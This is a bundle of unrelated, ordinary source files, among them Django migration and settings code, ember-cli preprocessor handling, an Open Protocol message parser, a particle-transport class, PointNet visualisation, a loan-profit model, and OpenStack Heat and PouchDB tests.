('is_staff', models.BooleanField(default=False)),
('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')),
('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')),
],
options={
'abstract': False,
},
),
]
|
var ErrorHandler = (function () {
return {
trigger : function (err) {
// TODO: better error handling and recovery
console.error(err);
}
}
})();
module.exports = ErrorHandler; |
'use strict';
var path = require('path');
var Registry = require('./');
var relativeRequire = require('process-relative-require');
var debug = require('debug')('ember-cli:preprocessors');
/**
Invokes the `setupRegistryForEachAddon('parent', registry)` hook for each of the parent objects addons.
@private
@method setupRegistryForEachAddon
@param {Registry} registry the registry being setup
@param {Addon|EmberApp} parent the parent object of the registry being setup. Will be an addon for nested
addons, or the `EmberApp` for addons in the project directly.
*/
function setupRegistryForEachAddon(registry, parent) {
parent.initializeAddons();
var addons = parent.addons || (parent.project && parent.project.addons);
if (!addons) {
return;
}
addons.forEach(function(addon) {
if (addon.setupPreprocessorRegistry) {
addon.setupPreprocessorRegistry('parent', registry);
}
});
}
/**
Invokes the `setupPreprocessorRegistry` hook for a given addon. The `setupPreprocessorRegistry` will be
invoked first on the addon itself (with the first argument of `'self'`), and then on each nested addon
(with the first argument of `'parent'`).
@private
@method setupRegistry
@param {Addon|EmberApp}
*/
module.exports.setupRegistry = function(appOrAddon) {
var registry = appOrAddon.registry;
if (appOrAddon.setupPreprocessorRegistry) {
appOrAddon.setupPreprocessorRegistry('self', registry);
}
setupRegistryForEachAddon(registry, appOrAddon);
addLegacyPreprocessors(registry);
};
/**
Creates a Registry instance, and prepopulates it with a few static default
preprocessors.
@private
@method defaultRegistry
@param app
*/
module.exports.defaultRegistry = function(app) {
var registry = new Registry(app.dependencies(), app);
return registry;
};
/**
Add old / grandfathered preprocessor that is not an ember-cli addon.
These entries should be removed, once they have good addon replacements.
@private
@method addLegacyPreprocessors
@param registry
*/
function addLegacyPreprocessors(registry) {
registry.add('css', 'broccoli-stylus-single', 'styl');
registry.add('css', 'broccoli-ruby-sass', ['scss', 'sass']);
registry.add('css', 'broccoli-sass', ['scss', 'sass']);
registry.add('minify-css', 'broccoli-csso', null);
registry.add('js', 'broccoli-ember-script', 'em');
registry.add('template', 'broccoli-emblem-compiler', ['embl', 'emblem']);
registry.add('template', 'broccoli-ember-hbs-template-compiler', ['hbs', 'handlebars']);
}
/**
Returns true if the given path would be considered of a specific type.
For example:
```
isType('somefile.js', 'js', addon); // => true
isType('somefile.css', 'css', addon); // => true
isType('somefile.blah', 'css', addon); // => false
isType('somefile.sass', 'css', addon); // => true if a sass preprocessor is available
```
@private
@method isType
@param {String} file the path to check
@param {String} type the type to compare with
@param {registryOwner} registryOwner the object whose registry we should search
*/
module.exports.isType = function(file, type, registryOwner) {
var extension = path.extname(file).replace('.', '');
if (extension === type) { return true; }
if (registryOwner.registry.extensionsForType(type).indexOf(extension) > -1) {
return true;
}
};
module.exports.preprocessMinifyCss = function(tree, options) {
var plugins = options.registry.load('minify-css');
if (plugins.length === 0) {
var compiler = require('broccoli-clean-css');
return compiler(tree, options);
} else if (plugins.length > 1) {
throw new Error('You cannot use more than one minify-css plugin at once.');
}
var plugin = plugins[0];
return relativeRequire(plugin.name).call(null, tree, options);
};
module.exports.preprocessCss = function(tree, inputPath, outputPath, options) {
var plugins = options.registry.load('css');
if (plugins.length === 0) {
var Funnel = require('broccoli-funnel');
return new Funnel(tree, {
srcDir: inputPath,
getDestinationPath: function(relativePath) {
if (options.outputPaths) {
// options.outputPaths is not present when compiling
// an addon's styles
var path = relativePath.replace(/\.css$/, '');
// is a rename rule present?
if (options.outputPaths[path]) {
return options.outputPaths[path];
}
}
return outputPath + '/' + relativePath;
}
});
}
return processPlugins(plugins, arguments);
};
module.exports.preprocessTemplates = function(/* tree */) {
var options = arguments[arguments.length - 1];
var plugins = options.registry.load('template');
debug('plugins found for templates: %s', plugins.map(function(p) { return p.name; }));
if (plugins.length === 0) {
throw new Error('Missing template processor');
}
return processPlugins(plugins, arguments);
};
module.exports.preprocessJs = function(/* tree, inputPath, outputPath, options */) {
var options = arguments[arguments.length - 1];
var plugins = options.registry.load('js');
var tree = arguments[0];
if (plugins.length === 0) { return tree; }
return processPlugins(plugins, arguments);
};
function processPlugins(plugins, args) {
args = Array.prototype.slice.call(args);
var tree = args.shift();
plugins.forEach(function(plugin) {
debug('processing %s', plugin.name);
tree = plugin.toTree.apply(plugin, [tree].concat(args));
});
return tree;
}
|
module.exports = { host: "192.168.0.1" } |
import { testHandler } from '@core/utils/test'
import { expect } from 'chai'
import create from './create'
describe('src/apps/platform/admin/api/teams/create.js', () => {
})
|
/*
Copyright 2018 Smart-Tech Controle e Automação
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
"use strict";
/*jshint esversion: 6, node: true*/
/**
* @class
* @name MID9997
* @param {object} MID9997
* @param {number} MID9997.midNumber
*/
const helpers = require("../helpers.js");
const processParser = helpers.processParser;
const serializerField = helpers.serializerField;
function parser(msg, opts, cb) {
let buffer = msg.payload;
msg.payload = {};
let position = {
value: 0
};
msg.revision = msg.revision || 1;
switch (msg.revision) {
case 1:
processParser(msg, buffer, "midNumber", "number", 4, position, cb) &&
cb(null, msg);
break;
default:
cb(new Error(`[Parser MID${msg.mid}] invalid revision [${msg.revision}]`));
break;
}
}
function serializer(msg, opts, cb) {
let buf;
let statusprocess = false;
let position = {
value: 0
};
msg.revision = msg.revision || 1;
switch (msg.revision) {
case 1:
position.value = 4;
buf = Buffer.alloc(4);
statusprocess = serializerField(msg, buf, "midNumber", "number", 4, position, cb);
if (!statusprocess) {
return;
}
msg.payload = buf;
cb(null, msg);
break;
default:
cb(new Error(`[Serializer MID${msg.mid}] invalid revision [${msg.revision}]`));
break;
}
}
function revision() {
return [1];
}
module.exports = {
parser,
serializer,
revision
}; |
from abc import ABC, abstractmethod
from mcdc.point import Point
# =============================================================================
# Particle
# =============================================================================
class Particle:
def __init__(self, pos, dir, g, time, wgt, cell, time_idx):
# Particle state
self.pos = pos # cm
self.dir = dir
self.g = g
self.time = time # s
self.wgt = wgt
self.cell = cell
self.alive = True
self.speed = None # Determined at particle move
# Previous state (pre particle loop, for tally)
self.pos_old = Point(pos.x, pos.y, pos.z)
self.dir_old = Point(dir.x, dir.y, dir.z)
self.g_old = g
self.time_old = time
self.wgt_old = wgt
self.cell_old = cell
self.wgt_post = None # Post-collision
# Census
self.time_idx = time_idx
# Particle loop records
self.distance = 0.0 # distance traveled during a loop
self.surface = None # surface object hit
def save_previous_state(self):
self.pos_old = self.pos
self.dir_old = self.dir
self.g_old = self.g
self.time_old = self.time
self.wgt_old = self.wgt
self.cell_old = self.cell
def reset_record(self):
self.distance = 0.0
self.surface = None
# Post collision weight modification?
if self.wgt_post:
self.wgt = self.wgt_post
self.wgt_post = None
def create_copy(self):
return Particle(self.pos, self.dir, self.g, self.time, self.wgt,
self.cell, self.time_idx)
# =============================================================================
# Source
# =============================================================================
class Source(ABC):
def __init__(self, prob):
self.prob = prob
@abstractmethod
def get_particle(self):
pass
class SourceSimple(Source):
def __init__(self, pos, dir, g, time, prob=1.0, wgt=1.0, cell=None,
time_idx=None):
Source.__init__(self, prob)
self.pos = pos
self.dir = dir
self.g = g
self.time = time
self.wgt = wgt
self.cell = cell
self.time_idx = time_idx
def get_particle(self):
pos = self.pos.sample()
dir = self.dir.sample()
g = self.g.sample()
time = self.time.sample()
wgt = self.wgt
cell = self.cell
time_idx = self.time_idx
dir.normalize()
return Particle(pos, dir, g, time, wgt, cell, time_idx)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import ipdb
from show3d_balls import *
import argparse
import os
import random
import numpy as np
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim as optim
import torch.utils.data
import torchvision.datasets as dset
import torchvision.transforms as transforms
import torchvision.utils as vutils
from torch.autograd import Variable
from datasets import PartDataset
from pointnet import PointNetDenseCls
import torch.nn.functional as F
import matplotlib.pyplot as plt
#showpoints(np.random.randn(2500,3), c1 = np.random.uniform(0,1,size = (2500)))
parser = argparse.ArgumentParser()
parser.add_argument('--model', type=str, default = '', help='model path')
parser.add_argument('--idx', type=int, default = 0, help='model index')
#ipdb.set_trace()
opt = parser.parse_args()
print (opt)
d = PartDataset(root = 'shapenetcore_partanno_segmentation_benchmark_v0', class_choice = ['Guitar'], train = False)
idx = opt.idx
print("model %d/%d" %( idx, len(d)))
point, seg = d[idx]
print(point.size(), seg.size())
point_np = point.numpy()
ipdb.set_trace()
#get a nice color map
cmap = plt.cm.get_cmap("hsv", 10)
#strip off the last dimension nx4 -> nx3
cmap = np.array([cmap(i) for i in range(10)])[:,:3]
#get color for every point nx3
gt = cmap[seg.numpy() - 1, :]
classifier = PointNetDenseCls(k = 4)
classifier.load_state_dict(torch.load(opt.model))
classifier.eval()
#doing a lot of shit
point = point.transpose(1,0).contiguous()
#tensor needs to be packed into a variable
point = Variable(point.view(1, point.size()[0], point.size()[1]))
pred, _ = classifier(point)
pred_choice = pred.data.max(2)[1]
print(pred_choice)
#print(pred_choice.size())
pred_color = cmap[pred_choice.numpy()[0]+6, :]
#print(pred_color.shape)
showpoints(point_np, gt, pred_color)
|
# Copyright 2020 Accenture Global Solutions Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import decimal
import typing as tp
import tracdap.rt.api as trac
class UsingDataModel(trac.TracModel):
def define_parameters(self) -> tp.Dict[str, trac.ModelParameter]:
return trac.declare_parameters(
trac.P("eur_usd_rate", trac.BasicType.FLOAT,
label="EUR/USD spot rate for reporting"),
trac.P("default_weighting", trac.BasicType.FLOAT,
label="Weighting factor applied to the profit/loss of a defaulted loan"),
trac.P("filter_defaults", trac.BasicType.BOOLEAN,
label="Exclude defaulted loans from the calculation",
default_value=False))
def define_inputs(self) -> tp.Dict[str, trac.ModelInputSchema]:
customer_loans = trac.declare_input_table(
trac.F("id", trac.BasicType.STRING, label="Customer account ID", business_key=True),
trac.F("loan_amount", trac.BasicType.DECIMAL, label="Principal loan amount", format_code="CCY:EUR"),
trac.F("total_pymnt", trac.BasicType.DECIMAL, label="Total amount repaid", format_code="CCY:EUR"),
trac.F("region", trac.BasicType.STRING, label="Customer home region", categorical=True),
trac.F("loan_condition_cat", trac.BasicType.INTEGER, label="Loan condition category", categorical=True))
return {"customer_loans": customer_loans}
def define_outputs(self) -> tp.Dict[str, trac.ModelOutputSchema]:
profit_by_region = trac.declare_output_table(
trac.F("region", trac.BasicType.STRING, label="Customer home region", categorical=True),
trac.F("gross_profit", trac.BasicType.DECIMAL, label="Total gross profit", format_code="CCY:USD"))
return {"profit_by_region": profit_by_region}
def run_model(self, ctx: trac.TracContext):
eur_usd_rate = ctx.get_parameter("eur_usd_rate")
default_weighting = ctx.get_parameter("default_weighting")
filter_defaults = ctx.get_parameter("filter_defaults")
customer_loans = ctx.get_pandas_table("customer_loans")
if filter_defaults:
customer_loans = customer_loans[customer_loans["loan_condition_cat"] == 0]
customer_loans["gross_profit_unweighted"] = \
customer_loans["total_pymnt"] - \
customer_loans["loan_amount"]
condition_weighting = customer_loans["loan_condition_cat"] \
.apply(lambda c: decimal.Decimal(default_weighting) if c > 0 else decimal.Decimal(1))
customer_loans["gross_profit_weighted"] = \
customer_loans["gross_profit_unweighted"] * condition_weighting
customer_loans["gross_profit"] = \
customer_loans["gross_profit_weighted"] \
.apply(lambda x: x * decimal.Decimal.from_float(eur_usd_rate))
profit_by_region = customer_loans \
.groupby("region", as_index=False) \
.aggregate({"gross_profit": "sum"})
ctx.put_pandas_table("profit_by_region", profit_by_region)
if __name__ == "__main__":
import tracdap.rt.launch as launch
launch.launch_model(UsingDataModel, "using_data.yaml", "../sys_config.yaml")
|
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import copy
import mock
import six
from heat.common import exception
from heat.engine import node_data
from heat.engine.resources.openstack.heat import resource_chain
from heat.engine import rsrc_defn
from heat.objects import service as service_objects
from heat.tests import common
from heat.tests import utils
RESOURCE_PROPERTIES = {
'group': 'test-group',
}
TEMPLATE = {
'heat_template_version': '2016-04-08',
'resources': {
'test-chain': {
'type': 'OS::Heat::ResourceChain',
'properties': {
'resources': ['OS::Heat::SoftwareConfig',
'OS::Heat::StructuredConfig'],
'concurrent': False,
'resource_properties': RESOURCE_PROPERTIES,
}
}
}
}
class ResourceChainTest(common.HeatTestCase):
def setUp(self):
super(ResourceChainTest, self).setUp()
self.stack = None # hold on to stack to prevent weakref cleanup
def test_child_template_without_concurrency(self):
# Test
chain = self._create_chain(TEMPLATE)
child_template = chain.child_template()
# Verify
tmpl = child_template.t
self.assertEqual('2015-04-30', tmpl['heat_template_version'])
self.assertEqual(2, len(child_template.t['resources']))
resource = tmpl['resources']['0']
self.assertEqual('OS::Heat::SoftwareConfig', resource['type'])
self.assertEqual(RESOURCE_PROPERTIES, resource['properties'])
self.assertNotIn('depends_on', resource)
resource = tmpl['resources']['1']
self.assertEqual('OS::Heat::StructuredConfig', resource['type'])
self.assertEqual(RESOURCE_PROPERTIES, resource['properties'])
self.assertEqual(['0'], resource['depends_on'])
@mock.patch.object(service_objects.Service, 'active_service_count')
def test_child_template_with_concurrent(self, mock_count):
# Setup
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_def['resources']['test-chain']['properties']['concurrent'] = True
chain = self._create_chain(tmpl_def)
mock_count.return_value = 5
# Test
child_template = chain.child_template()
# Verify
# Trimmed down version of above that just checks the depends_on
# isn't present
tmpl = child_template.t
resource = tmpl['resources']['0']
self.assertNotIn('depends_on', resource)
resource = tmpl['resources']['1']
self.assertNotIn('depends_on', resource)
@mock.patch.object(service_objects.Service, 'active_service_count')
def test_child_template_with_concurrent_limit(self, mock_count):
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_def['resources']['test-chain']['properties']['concurrent'] = True
tmpl_def['resources']['test-chain']['properties']['resources'] = [
'OS::Heat::SoftwareConfig', 'OS::Heat::StructuredConfig',
'OS::Heat::SoftwareConfig', 'OS::Heat::StructuredConfig']
chain = self._create_chain(tmpl_def)
mock_count.return_value = 2
child_template = chain.child_template()
tmpl = child_template.t
resource = tmpl['resources']['0']
self.assertNotIn('depends_on', resource)
resource = tmpl['resources']['1']
self.assertNotIn('depends_on', resource)
resource = tmpl['resources']['2']
self.assertEqual(['0'], resource['depends_on'])
resource = tmpl['resources']['3']
self.assertEqual(['1'], resource['depends_on'])
def test_child_template_default_concurrent(self):
# Setup
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_def['resources']['test-chain']['properties'].pop('concurrent')
chain = self._create_chain(tmpl_def)
# Test
child_template = chain.child_template()
# Verify
# Trimmed down version of above that just checks the depends_on
# isn't present
tmpl = child_template.t
resource = tmpl['resources']['0']
self.assertNotIn('depends_on', resource)
resource = tmpl['resources']['1']
self.assertEqual(['0'], resource['depends_on'])
def test_child_template_empty_resource_list(self):
# Setup
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_def['resources']['test-chain']['properties']['resources'] = []
chain = self._create_chain(tmpl_def)
# Test
child_template = chain.child_template()
# Verify
tmpl = child_template.t
# No error, but no resources to create
self.assertNotIn('resources', tmpl)
# Sanity check that it's actually a template
self.assertIn('heat_template_version', tmpl)
def test_validate_nested_stack(self):
# Test - should not raise exception
chain = self._create_chain(TEMPLATE)
chain.validate_nested_stack()
def test_validate_reference_attr_with_none_ref(self):
chain = self._create_chain(TEMPLATE)
self.patchobject(chain, 'referenced_attrs',
return_value=set([('config', None)]))
self.assertIsNone(chain.validate())
def test_validate_incompatible_properties(self):
# Tests a resource in the chain that does not support the properties
# specified to each resource.
# Setup
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_res_prop = tmpl_def['resources']['test-chain']['properties']
res_list = tmpl_res_prop['resources']
res_list.append('OS::Heat::RandomString')
# Test
chain = self._create_chain(tmpl_def)
try:
chain.validate_nested_stack()
self.fail('Exception expected')
except exception.StackValidationFailed as e:
self.assertEqual('property error: '
'resources.test<nested_stack>.resources[2].'
'properties: unknown property group',
e.message.lower())
def test_validate_fake_resource_type(self):
# Setup
tmpl_def = copy.deepcopy(TEMPLATE)
tmpl_res_prop = tmpl_def['resources']['test-chain']['properties']
res_list = tmpl_res_prop['resources']
res_list.append('foo')
# Test
chain = self._create_chain(tmpl_def)
try:
chain.validate_nested_stack()
self.fail('Exception expected')
except exception.StackValidationFailed as e:
self.assertIn('could not be found', e.message.lower())
self.assertIn('foo', e.message)
@mock.patch.object(resource_chain.ResourceChain, 'create_with_template')
def test_handle_create(self, mock_create):
# Tests the handle create is propagated upwards with the
# child template.
# Setup
chain = self._create_chain(TEMPLATE)
# Test
chain.handle_create()
# Verify
expected_tmpl = chain.child_template()
mock_create.assert_called_once_with(expected_tmpl)
@mock.patch.object(resource_chain.ResourceChain, 'update_with_template')
def test_handle_update(self, mock_update):
# Test the handle update is propagated upwards with the child
# template.
# Setup
chain = self._create_chain(TEMPLATE)
# Test
json_snippet = rsrc_defn.ResourceDefinition(
'test-chain', 'OS::Heat::ResourceChain',
TEMPLATE['resources']['test-chain']['properties'])
chain.handle_update(json_snippet, None, None)
# Verify
expected_tmpl = chain.child_template()
mock_update.assert_called_once_with(expected_tmpl)
def test_child_params(self):
chain = self._create_chain(TEMPLATE)
self.assertEqual({}, chain.child_params())
def _create_chain(self, t):
self.stack = utils.parse_stack(t)
snip = self.stack.t.resource_definitions(self.stack)['test-chain']
chain = resource_chain.ResourceChain('test', snip, self.stack)
return chain
def test_get_attribute_convg(self):
cache_data = {'test-chain': node_data.NodeData.from_dict({
'uuid': mock.ANY,
'id': mock.ANY,
'action': 'CREATE',
'status': 'COMPLETE',
'attrs': {'refs': ['rsrc1', 'rsrc2']}
})}
stack = utils.parse_stack(TEMPLATE, cache_data=cache_data)
rsrc = stack.defn['test-chain']
self.assertEqual(['rsrc1', 'rsrc2'], rsrc.FnGetAtt('refs'))
class ResourceChainAttrTest(common.HeatTestCase):
def test_aggregate_attribs(self):
"""Test attribute aggregation.
Test attribute aggregation and that we mimic the nested resource's
attributes.
"""
chain = self._create_dummy_stack()
expected = ['0', '1']
self.assertEqual(expected, chain.FnGetAtt('foo'))
self.assertEqual(expected, chain.FnGetAtt('Foo'))
def test_index_dotted_attribs(self):
"""Test attribute aggregation.
Test attribute aggregation and that we mimic the nested resource's
attributes.
"""
chain = self._create_dummy_stack()
self.assertEqual('0', chain.FnGetAtt('resource.0.Foo'))
self.assertEqual('1', chain.FnGetAtt('resource.1.Foo'))
def test_index_path_attribs(self):
"""Test attribute aggregation.
Test attribute aggregation and that we mimic the nested resource's
attributes.
"""
chain = self._create_dummy_stack()
self.assertEqual('0', chain.FnGetAtt('resource.0', 'Foo'))
self.assertEqual('1', chain.FnGetAtt('resource.1', 'Foo'))
def test_index_deep_path_attribs(self):
"""Test attribute aggregation.
Test attribute aggregation and that we mimic the nested resource's
attributes.
"""
chain = self._create_dummy_stack(expect_attrs={'0': 2, '1': 3})
self.assertEqual(2, chain.FnGetAtt('resource.0',
'nested_dict', 'dict', 'b'))
self.assertEqual(3, chain.FnGetAtt('resource.1',
'nested_dict', 'dict', 'b'))
def test_aggregate_deep_path_attribs(self):
"""Test attribute aggregation.
Test attribute aggregation and that we mimic the nested resource's
attributes.
"""
chain = self._create_dummy_stack(expect_attrs={'0': 3, '1': 3})
expected = [3, 3]
self.assertEqual(expected, chain.FnGetAtt('nested_dict', 'list', 2))
def test_aggregate_refs(self):
"""Test resource id aggregation."""
chain = self._create_dummy_stack()
expected = ['ID-0', 'ID-1']
self.assertEqual(expected, chain.FnGetAtt("refs"))
def test_aggregate_refs_with_index(self):
"""Test resource id aggregation with index."""
chain = self._create_dummy_stack()
expected = ['ID-0', 'ID-1']
self.assertEqual(expected[0], chain.FnGetAtt("refs", 0))
self.assertEqual(expected[1], chain.FnGetAtt("refs", 1))
self.assertIsNone(chain.FnGetAtt("refs", 2))
def test_aggregate_outputs(self):
"""Test outputs aggregation."""
expected = {'0': ['foo', 'bar'], '1': ['foo', 'bar']}
chain = self._create_dummy_stack(expect_attrs=expected)
self.assertEqual(expected, chain.FnGetAtt('attributes', 'list'))
def test_aggregate_outputs_no_path(self):
"""Test outputs aggregation with missing path."""
chain = self._create_dummy_stack()
self.assertRaises(exception.InvalidTemplateAttribute,
chain.FnGetAtt, 'attributes')
def test_index_refs(self):
"""Tests getting ids of individual resources."""
chain = self._create_dummy_stack()
self.assertEqual("ID-0", chain.FnGetAtt('resource.0'))
self.assertEqual("ID-1", chain.FnGetAtt('resource.1'))
ex = self.assertRaises(exception.NotFound, chain.FnGetAtt,
'resource.2')
self.assertIn("Member '2' not found in group resource 'test'",
six.text_type(ex))
def _create_dummy_stack(self, expect_count=2, expect_attrs=None):
self.stack = utils.parse_stack(TEMPLATE)
snip = self.stack.t.resource_definitions(self.stack)['test-chain']
chain = resource_chain.ResourceChain('test', snip, self.stack)
attrs = {}
refids = {}
if expect_attrs is None:
expect_attrs = {}
for index in range(expect_count):
res = str(index)
attrs[index] = expect_attrs.get(res, res)
refids[index] = 'ID-%s' % res
names = [str(name) for name in range(expect_count)]
chain._resource_names = mock.Mock(return_value=names)
self._stub_get_attr(chain, refids, attrs)
return chain
def _stub_get_attr(self, chain, refids, attrs):
def ref_id_fn(res_name):
return refids[int(res_name)]
def attr_fn(args):
res_name = args[0]
return attrs[int(res_name)]
def get_output(output_name):
outputs = chain._nested_output_defns(chain._resource_names(),
attr_fn, ref_id_fn)
op_defns = {od.name: od for od in outputs}
if output_name not in op_defns:
raise exception.NotFound('Specified output key %s not found.' %
output_name)
return op_defns[output_name].get_value()
orig_get_attr = chain.FnGetAtt
def get_attr(attr_name, *path):
if not path:
attr = attr_name
else:
attr = (attr_name,) + path
# Mock referenced_attrs() so that _nested_output_definitions()
# will include the output required for this attribute
chain.referenced_attrs = mock.Mock(return_value=[attr])
# Pass through to actual function under test
return orig_get_attr(attr_name, *path)
chain.FnGetAtt = mock.Mock(side_effect=get_attr)
chain.get_output = mock.Mock(side_effect=get_output)
class ResourceChainAttrFallbackTest(ResourceChainAttrTest):
def _stub_get_attr(self, chain, refids, attrs):
# Raise NotFound when getting output, to force fallback to old-school
# grouputils functions
chain.get_output = mock.Mock(side_effect=exception.NotFound)
def make_fake_res(idx):
fr = mock.Mock()
fr.stack = chain.stack
fr.FnGetRefId.return_value = refids[idx]
fr.FnGetAtt.return_value = attrs[idx]
return fr
fake_res = {str(i): make_fake_res(i) for i in refids}
chain.nested = mock.Mock(return_value=fake_res)
|
const jcComplaints = require('./../../models/jcComplaint')
const addColorToComplaint = require('./../../helpers/addColorToComplaint')
module.exports = function (req, res) {
jcComplaints.find({}, function (err, document) {
addColorToComplaint(document, function (document) {
res.render('jc/overview', {complaints: document})
})
})
}
|
/* eslint-env node */
// Testing the express "url encoded" dataSource with PouchDB
"use strict";
var fluid = require("infusion");
var gpii = fluid.registerNamespace("gpii");
var jqUnit = require("node-jqunit");
require("../../");
gpii.pouch.loadTestingSupport();
// Our local test dataSource grade that is aware of our starting URL (loopback)
fluid.defaults("gpii.tests.pouch.dataSource.testDataSource", {
gradeNames: ["gpii.express.dataSource.urlEncodedJson"],
endpoint: "rgb/_design/rgb/_view/byColor",
url: {
expander: {
funcName: "fluid.stringTemplate",
args: ["%baseUrl%endpoint", { baseUrl: "{testEnvironment}.options.baseUrl", endpoint: "{that}.options.endpoint"}]
}
}
});
gpii.tests.pouch.dataSource.compareResults = function (message, expected, actual) {
// Compare everything but "rows"
jqUnit.assertLeftHand(message + " (everything but rows)", fluid.censorKeys(expected, ["rows"]), actual);
if (expected.rows) {
// Compare the number of "rows"
jqUnit.assertEquals(message + " (number of rows)", expected.rows.length, actual.rows.length);
// Compare the individual "rows"
if (expected.rows.length === actual.rows.length) {
for (var a = 0; a < expected.rows.length; a++) {
jqUnit.assertLeftHand(message + " (individual record #" + a + ")", expected.rows[a], actual.rows[a]);
}
}
}
};
fluid.defaults("gpii.tests.pouch.dataSource.caseHolder", {
gradeNames: ["gpii.test.express.caseHolder"],
sequenceEnd: gpii.test.pouch.caseHolder.cleanupSequence,
rawModules: [{
name: "Integration tests for gpii-pouch and the 'url encoding' express dataSource grade...",
tests: [
{
name: "We should be able to retrieve a record using a single key...",
type: "test",
sequence: [
{
func: "{singleKeyDataSource}.get",
args: ["{testEnvironment}.options.input.singleKey"]
},
{
listener: "gpii.tests.pouch.dataSource.compareResults",
event: "{singleKeyDataSource}.events.onRead",
args: ["The correct record should be returned...", "{testEnvironment}.options.expected.singleKey", "{arguments}.0"]
}
]
},
{
name: "We should be able to retrieve multiple records using an array of keys...",
type: "test",
sequence: [
{
func: "{multiKeyDataSource}.get",
args: ["{testEnvironment}.options.input.multipleKeys"]
},
{
listener: "gpii.tests.pouch.dataSource.compareResults",
event: "{multiKeyDataSource}.events.onRead",
args: ["The correct records should be returned...", "{testEnvironment}.options.expected.multipleKeys", "{arguments}.0"]
}
]
},
{
name: "We should be able to omit the payload altogether...",
type: "test",
sequence: [
{
func: "{noKeyDataSource}.get",
args: [{}]
},
{
listener: "gpii.tests.pouch.dataSource.compareResults",
event: "{noKeyDataSource}.events.onRead",
args: ["The whole list of records should be returned...", "{testEnvironment}.options.expected.emptyPayload", "{arguments}.0"]
}
]
}
]
}],
components: {
singleKeyDataSource: {
type: "gpii.tests.pouch.dataSource.testDataSource"
},
multiKeyDataSource: {
type: "gpii.tests.pouch.dataSource.testDataSource"
},
noKeyDataSource: {
type: "gpii.tests.pouch.dataSource.testDataSource"
}
}
});
fluid.defaults("gpii.tests.pouch.dataSource.environment", {
gradeNames: ["gpii.test.pouch.environment"],
port: 9595,
input: {
singleKey: { key: "red"},
multipleKeys: { keys: ["red", "green"] }
},
expected: {
singleKey: {
total_rows: 3,
offset: 0,
rows: [
{ "id": "strawberry", "key": "red" }
]
},
multipleKeys: {
total_rows: 3,
offset: 0,
rows: [
{ "id": "strawberry", "key": "red" },
{ "id": "mango", "key": "green"}
]
},
emptyPayload: {
total_rows: 3,
offset: 0,
rows: [
{ "id": "blueberry", "key": "blue"},
{ "id": "mango", "key": "green"},
{ "id": "strawberry", "key": "red" }
]
}
},
pouchConfig: {
databases: {
_users: { data: "%gpii-pouchdb/tests/data/users.json"},
_replicator: {},
rgb: { data: [ "%gpii-pouchdb/tests/data/rgb.json"] },
pouch__all_dbs__: {}
}
},
components: {
caseHolder: {
type: "gpii.tests.pouch.dataSource.caseHolder"
}
}
});
fluid.test.runTests("gpii.tests.pouch.dataSource.environment");
|
# if not specified, go for dev settings
from challenge.settings.base import *
from challenge.settings.dev import *
|
import os
import random
import re
from ordered_set import OrderedSet
class FileScrubber:
min_string_token_count = 3
def __init__(self, file_name):
self.file_name = file_name
def scrub_file(self):
# remove duplicate lines
unique_lines_set = OrderedSet()
with open(self.file_name, 'r') as file_handler:
for line in file_handler:
unique_lines_set.append(line)
scrubbed_lines_set = OrderedSet()
for line in unique_lines_set:
scrubbed_line = re.sub('\[.*?\]', '', line).strip(' ')
scrubbed_line = re.sub('\{.*?\}', '', scrubbed_line)
scrubbed_line = re.sub('\(.*?\)', '', scrubbed_line)
scrubbed_line = re.sub(':', '', scrubbed_line)
scrubbed_line = re.sub(';', '', scrubbed_line)
scrubbed_line = scrubbed_line.strip()
scrubbed_line = scrubbed_line.rstrip(',')
scrubbed_line = scrubbed_line.rstrip('.')
if not scrubbed_line:
continue
scrubbed_lines_set.add(scrubbed_line)
merged_lines = []
line_modulo_count, line_count, merged_line = self.reset_modulo_count_line()
for line in scrubbed_lines_set:
_line = line
if merged_line and _line[0] != 'I' and _line[1] != ' ':
_line = _line[0].lower() + _line[1:]
merged_line += _line
if len(line.split()) < self.min_string_token_count:
merged_line += ' '
continue
line_count += 1
if line[-1:] in ".!?":
merged_line += '\n'
elif line_count % line_modulo_count == 0:
merged_line += '.\n'
else:
merged_line += ' '
continue
merged_lines.append(merged_line)
line_modulo_count, line_count, merged_line = self.reset_modulo_count_line()
if merged_line:
merged_lines.append(merged_line)
with open(scrub_file, 'w') as file_handler:
for line in merged_lines:
file_handler.write(line)
@staticmethod
def reset_modulo_count_line():
return random.randint(1, 2), 0, ''
# convert to utf-8 character set
# iconv -f utf-8 -t ascii//TRANSLIT <file>
source_file = os.environ.get('SOURCE_FILE', './resources/twentyonepilots.txt')
scrub_file = os.environ.get('SCRUBBED_FILE', './resources/twentyonepilots_scrubbed.txt')
if __name__ == "__main__":
file_scrubber = FileScrubber(source_file)
file_scrubber.scrub_file()
|
//
// Make sure "CHANGELOG.md" has been updated.
//
import getMessageLogger from '../getMessageLogger';
